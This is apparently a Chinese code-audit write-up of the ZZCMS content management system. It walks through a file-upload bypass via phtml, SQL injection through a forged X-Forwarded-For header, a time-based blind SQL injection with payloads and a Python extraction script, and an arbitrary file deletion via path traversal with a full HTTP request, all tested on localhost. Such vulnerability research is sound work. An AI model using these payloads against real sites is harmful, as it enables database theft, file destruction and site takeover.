0x00 看网站结构
*********************************
* *
* ZZCMS产品版目录结构 *
* *
*********************************
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录
/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache
0x01 通读代码
先看一下入口文件:index.php:
引用配置文件,还有调用模板
先跟过去看看配置文件吧:
top_index.php
1:打开模板
$fp返回值是否为true
if (file_exists($fp)==false){
echo $fp.' no this template';
exit;
2:还有一个我觉得奇怪的点:
$channel=strtolower($_SERVER['REQUEST_URI']);
能够传入我们请求的url,注意一下看看后面的文件有没有可控的点
3:这个页面对username和password的cookie做了过滤,伪造应该不行了
bottom.php:
定义function sitebottom()函数
引用模板
label.php:
调用其他文件
留意一下这个页面show.php
其他页面暂时没看到啥
开始看user文件夹下的文件,重点开始了:
manage.php:
引入了配置文件,猜测是过滤,跟进
conn.php,数据库文件
查看check.php,发现仅仅对用户名和密码是否存在检测,说明过滤文件在别的地方
从上到下一个一个页面看
0x02 文件上传漏洞
图片马上传成功,后台看了一下也没被过滤
这里想getshell方法太多了,就不提了。
,我们去看源码吧
首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析
所以我们这样也行:
0x03 sql注入漏洞
简单测试了几下发现因为我们注册的是个人账户,很多功能不能使用
我们直接看这个页面:
http://127.0.0.1/user/manage.php
看代码qq有问题,本地尝试了一下没有发现漏洞
我们看message.php
有过滤
到这里思路陷入了死角,刚才认真思考了一下自己一定是没看到关键文件,他的过滤规则没看到,能否sql注入就看能否找到配置文件了.
没办法,开始看user文件夹下的配置文件,我们根据审计结果
看user/del.php
这一处两个配置文件我们再去看一遍:
终于看到了,简单读一下
过滤了xss,过滤了$_SERVER["REQUEST_URI",一开始读代码感到奇怪的点就不能利用了。过滤了sql注入。
我们返回去看check.php
有5处SQL语句查询,第一处,无法利用,因为首先参数经过” /inc/stopsqlin.php“过滤,且被单引号包裹,无法闭合
剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE
username='".$username."'");//¸üÐÂ×îºóµÇ¼IP
这个和bluecms出现了相同的问题
ip我们可控,尝试注入
这里关键参数ip字段我采用的是头部的X-Forwarded-For字段
成功注入出了我们的cms管理员账号密码
密码MD5解密即可(这里sqlmap内置已经解密好了)
全局搜索getip()
在”/user/logincheck.php“、”/admin/logincheck.php“中也存在多处由ip导致的sql注入
这里再看一个sql注入
我们发现有一个sql语句直接通过两个变量$tablename和$id拼接而成的,而这个$tablename变量可直接从post方式获取,代码未经任何过滤直接拼接,变量$tablename没有经过单引号包裹从而引发了sql注入。
我们看一下继续看
变量$id和$tablename都是经过POST方式获得,但是$id经过checkid的消毒处理
所以我们不能使用大于号、小于号
文章
https://www.freebuf.com/vuls/161888.html
payload:
id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#
这里注意这个不是一个通用payload,因为如果zzcms_answer是一个空表,则该payload无法利用
改进一下:
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
因为这里采用的是基于时间的盲注,从zzcms_answer表中查询的结果有可能为空,如果为空,就不能执行后面的if语句,所以为了确保有查询结果,加入联合查询,保证有查询结果
贴上盲注脚本:
#/user/del.php
import requests
url = "http://127.0.0.1/user/del.php"
database = ""
for i in range(1,50):
flag = 0
for j in range(95,123):
data = {
"id":"1",
"tablename":"zzcms_answer union select 1,2 and if(ascii(substr(database(),%d,1))=%d,sleep(3),1)#"%(i,j)
}
r = requests.post(url,data=data)
t = r.elapsed.total_seconds()
if t >= 3:
database = database + chr(j)
flag = 1
break
if flag == 0 and j == 122:
print("database:",database)
break
0x04 任意文件删除漏洞
页面:
http://127.0.0.1/user/adv.php
!
很明显的任意文件删除
if (isset($_REQUEST["oldimg"])){
$oldimg=$_REQUEST["oldimg"];
}else{
$oldimg="";
}
$rs=query("select usersf from zzcms_user where
username='".$_COOKIE["UserName"]."' ");
$row=fetch_array($rs);
if ($row["usersf"]=="¸öÈË"){
echo $f_array[2];
exit;
}
if ($action=="modify"){
query("update zzcms_textadv set
adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0
where username='".$_COOKIE["UserName"]."'");
//ΪÁË·ÀÖ¹Ò»¸öÓû§Í¨¹ýÐ޸Ĺã¸æ´Ê¹¦Äܳ¤ÆÚ°ÔÕ¼Ò»¸öλÖõ±Óû§Ð޸Ĺã¸æ´Êʱֻ¸üÐÂÆäÄÚÈݲ»¸üÐÂʱ¼ä¡£
//deloldimg
if ($oldimg<>$img){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
$f变量,该变量直接由"../"与$oldimg拼接而得,并未过滤.和/字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img不等于$oldimg,且$action等于”modify”即可。
复现:
payload:
POST /user/manage.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/user/manage.php
Cookie: BLUE[user_id]=2; BLUE[user_name]=admin777; BLUE[user_pwd]=f146dec94163c1288e623b9c0d98128d; bdshare_firstime=1581904550027; PHPSESSID=1c1e1b99c601fd3b06c3ead91633d757; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e
Upgrade-Insecure-Requests: 1
somane=%E7%8E%8B%E5%8F%B9%E4%B9%8B&sex=1&email=1278121435%40qq.com&qq=&oldqq=&mobile=&b=0&s=0&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&address=11&homepage=11&phone=15033334444&fox=11&content=%26nbsp%3B&img=%2Fuploadfiles%2F2020-02%2F20200220110626624.png&oldimg=admin/test.php&flv=&oldflv=&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C
类似的,我们可以在
/user/ppsave.php, /user/zssave.php,/user/licence_save.php可以看到相同问题
0x05 网站重装漏洞
有install.lock 文件,我们去入口文件看看
index.php
开头就是常规的配置文件,对post和get传过来的变量做了过滤。
我们跟进step1_.php
°²×°Ïòµ¼ÒÑÔËÐа²×°¹ý£¬ÈçÐèÖØ°²×°£¬Çëɾ³ý
/install/install.lock Îļþ